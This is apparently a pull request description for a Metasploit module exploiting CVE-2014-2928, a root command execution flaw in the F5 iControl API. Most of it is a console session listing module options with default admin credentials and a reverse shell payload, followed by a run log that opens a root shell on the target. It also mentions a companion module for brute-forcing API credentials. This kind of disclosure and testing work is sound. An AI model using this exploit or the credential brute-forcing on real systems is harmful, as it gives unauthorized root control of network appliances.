Create f5_icontrol_exec.rb

This module will exploit CVE-2014-2928, an authenticated command execution as root vulnerability in the iControl API on F5 appliances. This module was demoed in my Derbycon talk. A second module is PR'ed along side this to brute force credentials in the iControl API.

http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html

Any user with access to the API can become the root user on the box.

```
msf exploit(f5_icontrol_exec) > show options

Module options (exploit/linux/http/f5_icontrol_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The password to authenticate with
   Proxies                     no        Use a proxy chain
   RHOST      192.168.209.4    yes       The target address
   RPORT      443              yes       The target port
   SSL        true             yes       Use SSL
   TARGETURI  /                yes       The base path to the iControl installation
   USERNAME   admin            yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.209.3    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   F5 iControl


msf exploit(f5_icontrol_exec) > exploit

[*] Sending payload in chunks, might take a small bit...
[*] Started reverse double handler
[*] Triggering payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo MItQndpb3hjQKkBL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "MItQndpb3hjQKkBL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.209.3:4444 -> 192.168.209.4:60494) at 2014-09-27 08:45:50 -0700

id
uid=0(root) gid=0(root) context=system_u:system_r:f5util_t

```

F5 has known about this since February of this year, and it still isn't patched it seems. You can download a BIGIP appliance trial from F5's website.